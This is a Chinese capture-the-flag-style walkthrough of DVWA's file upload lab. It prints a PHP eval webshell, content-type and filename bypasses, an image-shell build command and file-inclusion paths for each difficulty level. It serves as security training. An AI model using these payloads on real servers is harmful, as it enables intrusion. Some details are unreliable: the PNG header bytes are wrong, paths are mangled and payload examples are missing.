鸣谢(本文大部分内容均转载自):
http://www.storysec.com/dvwa-file-upload.html
文件上传漏洞是指服务器在接收用户上传的文件的时候,没有严格地加以限制和过滤,
如果黑客上传了木马,也就是常说的“挂马”,进而拿到了webshell,就可以为所欲为了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~
Low:
if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //网站根目录+上传文件目录 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //加上取上传文件的名字 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }
对我们上传的文件的类型几乎没有任何限制,上传一个最简单的一句话木马即可
<?php @eval($_POST['zzz']); ?>
得到在:http://192.168.141.129/dvwa/vulnerabilities/upload/#
下的路径:../../hackable/uploads/shell.php
即:http://192.168.141.129/dvwa/hackable/uploads/shell.php
菜刀一连即可成功
Medium:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
对上传的文件的类型和大小进行了检验和筛选——只有jpeg/png才能上传成功,且大小必须小于100000b
有三种方式拿webshell,首先介绍两种:
我们的目标很明确——上传一个.php的木马,但是要绕过服务器的格式检验。
那么服务器是如何检验我们上传的文件的格式的呢?很简单——通过检查我们上传的文件的type属性(FILES['uploaded']['type'])
而最后存储在服务器的文件,它的格式由什么决定的呢?是由它的名字,而它的名字又由什么决定的呢——上传的文件的name属性(FILES['uploaded']['name'])
<form enctype="multipart/form-data" action="#" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose an image to upload:<br /><br /> <input name="uploaded" type="file" /><br /> <br /> <input type="submit" name="Upload" value="Upload" /> </form>
这是上传表单的源代码,可以看到,FILES['uploaded']确定了我们上的文件
所以有两种payload:
1、本地为shell.php,通过改包,将其Content-Type属性改为image/jpeg
Content-Type属性一旦被改为image/jpeg,FILES['uploaded']['type']取出来的就是'jpeg',绕过了检验,
但是此时它的名字filename是shell.php,最后存储在服务器上的仍然是shell.php,菜刀一连,成功
2、本地为shell.jpeg,通过改包,将其filename改成.php格式的文件
这样,最后服务器也会把它当成php文件保存
无论是哪种方式,bp改包之后都应该是:
Payload3:
还可以直接上传.png文件,不过没法执行、、
所以我们可以和文件包含攻击的Medium结合起来,用?page包含了我们的shell.png,然后菜刀一连....
Medium的文件包含可以绝对路径本地包含也可以远程文件包含,所以在菜刀中如此编辑:
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=C:phpStudyphpTutorialWWWdvwahackableuploadsshell.png
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=htthttp://://wwwdvwahackableuploadsshell.png
High:
核心检验代码:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
substr(string,index):返回string从index开始剩下得所有部分
strrops(string,find):返回find在string中最后一次出现的位置
substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
也就是取出了文件的扩展名
getimagesize()用以获取文件大小等信息,更是严格限制了文件类型必须为图片类型
所以我们必须要绕过两个东西:
1、扩展名检验
2、getimagesize()检验
关于扩展名检验很简单,可以利用%00截断,也可以利用文件包含攻击
下面是如何绕过getimagesize()检验:
有过MISC经验的同学,一定对图像文件头有了解:
JPEG/JPG:文件头标识:FF D8 文件尾标识:FF D9
PNG:文件头标识:89 50 4E 4F 0D 0A 1A 0A
图片马 的制作:
cmd下:
copy a.png/b+b.php/a c.png
然后直接上传即可,不用抓包改包
菜刀一连,可拿webshell
Impossible:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
基本可以被打到自闭了、、、、
这里可以看到,对文件名进行了md5加密,几乎不可能%00截断绕过了